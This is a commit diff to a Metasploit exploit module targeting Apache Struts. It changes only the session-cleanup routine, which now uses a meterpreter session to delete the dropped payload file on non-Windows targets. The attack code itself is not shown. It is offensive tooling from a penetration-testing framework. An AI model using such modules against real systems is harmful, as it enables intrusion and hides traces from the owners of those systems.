struts_code_exec_exception_delegator_on_new_session: on_new_session modified

modules/exploits/multi/http/struts_code_exec_exception_delegator.rb

@@ -167,13 +167,24 @@ class Metasploit3 < Msf::Exploit::Remote
 	end
 
 	def on_new_session(client)
-		if target['Platform'] == 'linux'
-			print_status("Deleting #{@payload_exe} payload file")
-			execute_command("/bin/sh@-c@rm #{@payload_exe}")
-		else
-			print_status("Windows does not allow running executables to be deleted")
-			print_status("Delete the #{@payload_exe} file manually after migrating")
+
+		if client.type != "meterpreter"
+			print_error("Please use a meterpreter payload in order to automatically cleanup.")
+			print_error("The #{@payload_exe} file must be removed manually.")
+			return
 		end
+
+		client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
+
+		if client.sys.config.sysinfo["OS"] =~ /Windows/
+			print_error("Windows does not allow running executables to be deleted")
+			print_error("The #{@payload_exe} file must be removed manually after migrating")
+			return
+		end
+
+		print_status("Deleting the #{@payload_exe} file")
+		client.fs.file.rm(@payload_exe)
+
 	end
 
 	def exploit